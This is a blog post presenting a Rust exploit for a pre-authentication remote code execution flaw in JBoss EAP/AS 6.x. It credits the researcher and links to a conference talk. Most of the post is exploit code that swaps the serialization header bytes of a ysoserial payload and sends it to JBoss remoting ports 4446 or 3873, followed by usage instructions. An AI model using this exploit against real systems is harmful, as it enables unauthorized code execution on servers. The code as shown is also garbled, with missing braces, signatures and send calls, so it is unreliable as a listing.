JBoss EAP/AS <= 6.* RCE - A little bit beyond \xAC\xED

Time to "leak" this old (but gold) pre-auth RCE affecting some of the Red Hat products.

As stated by @joaomatosf this is an old but gold vulnerability found by himself and shared in two distinct security conference in Brazil, this vulnerability was part of a training he gave alongside with two other colleagues, check his tweet.


Technical details are available in the slides from the Alligator Conference 2019.

Back in time, I did use this vulnerability as a stimulus to write some Rust code, so forgive me any non-sense.


name = "j-is-d-boss"
version = "0.1.0"
authors = ["jespinhara"]
edition = "2018"

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

clap = "~2.33.3"
hexdump = "0.1.0"


extern crate clap;

use clap::{Arg, App};

use std::net::TcpStream;
use std::io::{Read, Write};
use std::fs::File;
use std::path::Path;
use std::str::from_utf8;
use std::process::exit;

// stackoverflow FTW
// https://stackoverflow.com/questions/54150353/how-to-find-and-replace-every-matching-slice-of-bytes-with-another-slice
// this will replace all the occurrences, but in this case, \xac\xed only happens once
fn replace_slice<T>(source: &mut [T], from: &[T], to: &[T])
        T: Clone + PartialEq,
    let iteration = if source.starts_with(from) {
    } else {

    if source.len() > from.len() {
        replace_slice(&mut source[iteration..], from, to);

fn prepare_payload(serial_file: &str) -> Vec<u8> {
    println!("[!] Loading and preparing the payload...");

    let in_the_past = b"\xac\xed\x00\x05";
    let magic_bytes = b"\x77\x01\x16\x79";

    let mut file_content = Vec::new();
    let mut file = File::open(&serial_file).expect("[-] Unable to open file");
    file.read_to_end(&mut file_content).expect("[-] Unable to read");

    replace_slice(&mut file_content, in_the_past, magic_bytes);


fn send_gift(target: &str, port: &str, payload: Vec<u8>) {

    let mut target_address = target.to_string();
    let mut target_port = port.to_string();

    // target:port -> TcpStream

    if let Ok(mut stream) = TcpStream::connect(target_address) {
        println!("[+] Connected to the server!");

        let handshake = b"\xac\xed\x00\x05";

        println!("[!] Sending handshake...");

        let mut data = [0 as u8; 4];
        match stream.read_exact(&mut data) {
            Ok(_) => {
                if &data == handshake {
                    println!("[+] Handshake Succeed!");
                    println!("[+] Exploiting... Done!");
                } else {
                    let res = from_utf8(&data).unwrap();
                    println!("[-] Unexpected response: {}", res);
                    println!("[-] Server response bytes: {:?}", res);
            Err(e) => {
                println!("[-] Failed to receive data: {}", e);
    } else {
        println!("[-] Couldn't connect to server...");

fn main() {
    let matches = App::new("JBoss EAP/AS <= 6.X Vulnerability by @joaomatosf - A little bit beyond ACED")
        .author("Exploit by: @jespinhara\n")
        .about("\nJBoss EAP/AS <= 6.X by default and  JBoss EAP/AS up to date if the targeted service is enabled.")
            .help("Target address")
            .help("Port (4446: JBoss Remoting Unified Invoker, 3873: EJB Remoting Connector)")
            .help("Ysoserial payload")

    let target = matches.value_of("target").unwrap();
    let port = matches.value_of("port").unwrap();
    let payload = matches.value_of("payload").unwrap();

    if !Path::new(payload).exists() {
        println!("[-] Payload file not found! Exiting...");

    send_gift(target, port, prepare_payload(payload));

GitHub - jespinhara/j-is-the-boss
Contribute to jespinhara/j-is-the-boss development by creating an account on GitHub.

To use this exploit, create a malicious java payload using the well-known ysoserial, which I personally use @pimps modified version, then:

# ./j-is-d-boss -t [TARGET] -y [payload.ser] -p [PORT]
Exploiting sample docker

"Funny" enough, Marcio's python exploit has 20 lines and works like a charm. Keep it simple.

That's all cya folks!